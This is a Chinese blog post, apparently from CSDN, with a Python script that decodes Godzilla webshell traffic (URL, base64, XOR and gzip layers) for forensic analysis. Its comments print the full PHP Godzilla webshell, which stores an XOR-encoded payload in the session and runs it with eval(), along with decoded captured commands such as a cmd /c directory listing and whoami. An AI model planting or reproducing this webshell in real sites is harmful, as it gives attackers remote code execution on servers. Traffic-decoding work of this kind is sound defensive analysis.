Godezilla哥斯拉webshell解密脚本(未更完)

 注意python环境中有没有下文中的库

from re import split
import base64
import urllib
import gzip
zhi = input("")
class mo_kuai1:
    def str_reverse(i):
        a = i[::-1]
        return a

    def base64_jei(a):
        a == b'a'
        c = base64.b64decode(a).decode('utf-8', 'ignore')
        return c
    def XOR(D, K):
        result = []
        for i in range(len(D)):
            c = K[i + 1 & 15]
            if not isinstance(D[i], int):
                d = ord(D[i])
            else:
                d = D[i]
            result.append(d ^ ord(c))
        return b''.join([i.to_bytes(1, byteorder='big') for i in result])

    def urljei(zhi):
        from urllib import parse
        zhi = urllib.parse.unquote(zhi)
        return zhi
class mo_kuai2():
    def Godezillb_body(self):
        a = mo_kuai1.urljei(self)
        a = split("\'", a)
        a=a[1]        # 取出base64编码的字符串
        a=a[::-1]     # 反转字符串
        a=mo_kuai1.base64_jei(a) # 解码base64编码的字符串
        print(a)
        return a

    def Godezillb_respone(self):
        key = input("请输入key:")
        self = mo_kuai1.urljei(self)  #url解码
        response = gzip.decompress(mo_kuai1.XOR(base64.b64decode(self), key)) #base64解码,并异或解密,并解压缩bytes-like类型的数据
        print("请求代码是",response)

    def Godezillb_request(self):
        key= '3c6e0b8a9c15224a' #webshell主体的key, 可以自己设置
        a=self[16:-16]          # 取出base64编码的字符串

        request = gzip.decompress(mo_kuai1.XOR(base64.b64decode(a), key)) #base64解码,并异或解密,并解压缩bytes-like类型的数据
        print("响应代码是",request)


# <?php
# @session_start(); // 启动会话,@ 符号用于抑制可能出现的错误信息
# @set_time_limit(0); // 设置脚本执行时间不限制
# @error_reporting(0); // 设置错误报告级别为 0,即不报告任何错误
# function encode($D,$K){
#     for($i=0;$i<strlen($D);$i++) {
#         $c = $K[$i+1&15]; // 根据密钥中的字符来加密数据
#         $D[$i] = $D[$i]^$c; // 使用异或操作进行加密
#     }
#     return $D; // 返回加密后的数据
# }
# $pass='key'; // 密钥参数名 客户端设置
# $payloadName='payload'; // 载荷参数名
# $key='3c6e0b8a9c15224a''; // 加密密钥
# if (isset($_POST[$pass])){ // 检查 POST 请求中是否包含了密钥参数 kay
#     $data=encode(base64_decode($_POST[$pass]),$key); // 解码并加密传入的数据
#     if (isset($_SESSION[$payloadName])){ // 检查会话中是否存在载荷数据
#         $payload=encode($_SESSION[$payloadName],$key); //解码 输出
#         if (strpos($payload,"getBasicsInfo")===false){ // 检查载荷中是否包含指定字符串
#             $payload=encode($payload,$key); // 判断是否被解码,如果否,解码
#         }
#         eval($payload); // 执行载荷中的 PHP 代码
#         echo substr(md5($pass.$key),0,16); // 输出密钥的 MD5 前半部分
#         echo base64_encode(encode(@run($data)/**这时候经过了gzip编码**/,$key)); // 对传入的数据运行,并将结果加密后输出
#         echo substr(md5($pass.$key),16); // 输出密钥的 MD5 后半部分
#     }else{
#         if (strpos($data,"getBasicsInfo")!==false){ // 检查传入的数据中是否包含指定字符串
#             $_SESSION[$payloadName]=encode($data,$key); // 将传入的数据加密后存入会话中
#         }
#     }
# }
# mo_kuai2.Godezillb_body(self=zhi)
# mo_kuai2.Godezillb_respone(self=zhi)
# 3c6e0b8a9c15224a
# b'cmdLine\x027\x00\x00\x00cmd /c "cd /d "D:/0.phpstudy_pro/WWW/gsl4.0/"&dir" 2>&1methodName\x02\x0b\x00\x00\x00execCommand'
# whoami" 2>&1methodName\x02\x0b\x00\x00\x00execCommand'

mo_kuai2.Godezillb_request(self=zhi)


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值